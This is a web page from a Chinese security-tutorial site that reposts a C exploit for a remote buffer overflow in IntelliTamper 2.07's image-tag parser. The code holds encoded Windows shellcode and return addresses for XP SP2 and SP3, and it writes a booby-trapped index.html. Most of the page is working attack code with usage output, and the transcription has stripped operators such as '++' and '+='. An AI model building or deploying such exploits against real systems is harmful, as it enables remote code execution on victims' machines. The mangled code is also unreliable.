• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit

IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit ,其中包含intellitamper,exploit,exploit是什么意思,exploit db,exploit开拓官网等知识点,遇到此问题的同学们可以参考下
/*
* IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Expoit
*
* Discovered & Written by r0ut3r (writ3r [at] gmail.com)
* Many Thanks to Luigi Auriemma (http://aluigi.org)
*
* Greets to shinnai (http://www.shinnai.net)
* and Guido Landi
*
* IntelliTamper contains a remote buffer overflow vulnerability.
* The HTML parser, more precise the image tag fails to preform
* boundary checks on supplied data.
*
* kit:/home/r0ut3r/public_html/imgsrc-xpl # gcc -o yahh yahh.c
* kit:/home/r0ut3r/public_html/imgsrc-xpl # ./yahh 0
* [!] OS: Microsoft Windows XP Pro SP 2
* [ ] Building payload
* [ ] Inserting JMP code
* [ ] Success writing to index.html
* kit:/home/r0ut3r/public_html/imgsrc-xpl #
*/ #include <stdio.h>
#include <stdlib.h>
#include <string.h> /* win32_exec - EXITFUNC=thread CMD=c:\windows\system32\calc.exe Size=184
Encoder=PexFnstenvSub http://metasploit.com
Filtered characters: 0x00 0x22 0x09 0x0a 0x0d 0x3c 0x3e */
unsigned char shellcode[] =
"\x31\xc9\x83\xe9\xd8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x99"
"\xeb\x8d\x6a\x83\xeb\xfc\xe2\xf4\x65\x03\xc9\x6a\x99\xeb\x06\x2f"
"\xa5\x60\xf1\x6f\xe1\xea\x62\xe1\xd6\xf3\x06\x35\xb9\xea\x66\x23"
"\x12\xdf\x06\x6b\x77\xda\x4d\xf3\x35\x6f\x4d\x1e\x9e\x2a\x47\x67"
"\x98\x29\x66\x9e\xa2\xbf\xa9\x6e\xec\x0e\x06\x35\xbd\xea\x66\x0c"
"\x12\xe7\xc6\xe1\xc6\xf7\x8c\x81\x12\xf7\x06\x6b\x72\x62\xd1\x4e"
"\x9d\x28\xbc\xaa\xfd\x60\xcd\x5a\x1c\x2b\xf5\x66\x12\xab\x81\xe1"
"\xe9\xf7\x20\xe1\xf1\xe3\x66\x63\x12\x6b\x3d\x6a\x99\xeb\x06\x02"
"\xa5\xb4\xbc\x9c\xf9\xbd\x04\x92\x1a\x2b\xf6\x3a\xf1\x04\x43\x8a"
"\xf9\x83\x15\x94\x13\xe5\xda\x95\x7e\x88\xb7\x36\xee\x82\xe3\x0e"
"\xf6\x9c\xfe\x36\xea\x92\xfe\x1e\xfc\x86\xbe\x58\xc5\x88\xec\x06"
"\xfa\xc5\xe8\x12\xfc\xeb\x8d\x6a"; #define JMP 0xe9 //JMP int main(int argc, char* argv[])
{
FILE *fd;
unsigned char buff[4000],
*jmpref,
*p;
int opt; struct
{
char *os;
unsigned int eip;
} targets[] =
{
"Microsoft Windows XP Pro SP 2",
0x7d040e1f, "Microsoft Windows XP Pro SP 3",
0x7c8369f0
}; if (argc < 2)
{
printf("---------------------------------------------------------\n");
printf(" IntelliTamper 2.07 Remote Buffer Overflow Expoit \n\n"); printf(" Discovered & Written by r0ut3r (writ3r [at] gmail.com)\n");
printf(" Thanks to Luigi Auriemma (http://aluigi.org)\n\n"); printf(" Usage: %s <OS-type>\n", argv[0]);
printf(" 0: Microsoft Windows XP Pro SP2\n");
printf(" 1: Microsoft Windows XP Pro SP3\n");
printf("---------------------------------------------------------\n");
return 1;
} p = buff; switch (atoi(argv[1]))
{
case 0:
opt = 0;
printf("[!] OS: %s\n", targets[0].os);
break; case 1:
opt = 1;
printf("[!] OS: %s\n", targets[1].os);
break;
} printf("[ ] Building payload\n");
p = sprintf(p, "<img src=\"http://"); jmpref = p; p = sprintf(p, "%s", shellcode); int i;
int a = 3065 - (p - jmpref);
for (i=0; i < a; i )
*p = 'A'; *(unsigned int *) p = targets[opt].eip;
p = 4; printf("[ ] Inserting JMP code\n"); *p = JMP;
*(unsigned int *) p = jmpref - (p 4); //JMP -(3065 4 5)
p = 4; p = sprintf(p, "\">"); fd = fopen("index.html", "wb");
if (fd == NULL)
{
perror("[-] Failed opening index.html\n");
return 1;
} fwrite(buff, 1, p - buff, fd);
if (fclose(fd) == 0)
printf("[ ] Success writing to index.html\n");
else
printf("[-] Failed writing to index.html\n"); return 0;
}

</div>

您可能想查找下面的文章:

  • IntelliTamper 2.07/2.08 Beta 4 A HREF Remote Buffer Overflow Exploit
  • IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
  • IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit
  • IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl)
  • IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit

相关文章

  • AuraCMS
  • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
  • Sun xVM VirtualBox
  • WarFTP 1.65 (USER) Remote Buffer Overlow Exploit
  • Pligg
  • Dreampics Builder (page) Remote SQL Injection Vulnerability
  • Apache mod_jk 1.2.19 Remote Buffer Overflow Exploit (win32)
  • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC
  • Simple DNS Plus
  • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Maian Search
    • Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit
    • BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service
    • Maian Gallery 2.0 Insecure Cookie Handling Vulnerability
    • Apache mod_jk 1.2.19 Remote Buffer Overflow Exploit (win32)
    • DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
    • EO Video 1.36 Local Heap Overflow DOS / PoC
    • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)
    • PPMate PPMedia Class ActiveX Control Buffer Overflow PoC
    • Debian Sarge Multiple IMAP Server Denial of Service Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有